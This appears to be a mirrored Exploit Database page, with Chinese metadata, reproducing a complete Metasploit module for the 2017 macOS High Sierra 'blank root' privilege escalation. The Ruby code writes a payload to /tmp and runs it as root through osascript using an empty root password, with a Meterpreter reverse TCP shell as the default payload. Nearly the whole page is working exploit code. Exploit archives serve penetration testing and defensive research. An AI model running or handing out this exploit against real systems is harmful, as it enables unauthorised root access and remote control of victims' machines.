Apple macOS 10.13.1 (High Sierra) – ‘Blank Root’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2017-11-30
• 类别：

  • local
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43201/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> 'Mac OS X Root Privilege Escalation',
  'Description' => %q{
  This module exploits a serious flaw in MacOSX High Sierra.
  Any user can login with user "root", leaving an empty password.
  },
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
  [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
  [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
  ],
  'Platform'=> 'osx',
  'Arch'=> ARCH_X64,
  'DefaultOptions' =>
  {
  'PAYLOAD'=> 'osx/x64/meterpreter_reverse_tcp',
  },
  'SessionTypes'=> [ 'shell', 'meterpreter' ],
  'Targets' => [
  [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Nov 29 2017'
  ))
  end
  
  def exploit_cmd(root_payload)
  "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end
  
  def exploit
  payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
  print_status("Writing payload file as '#{payload_file}'")
  write_file(payload_file, payload.raw)
  register_file_for_cleanup(payload_file)
  output = cmd_exec("chmod +x #{payload_file}")
  print_status("Executing payload file as '#{payload_file}'")
  cmd_exec(exploit_cmd(payload_file))
  end
  end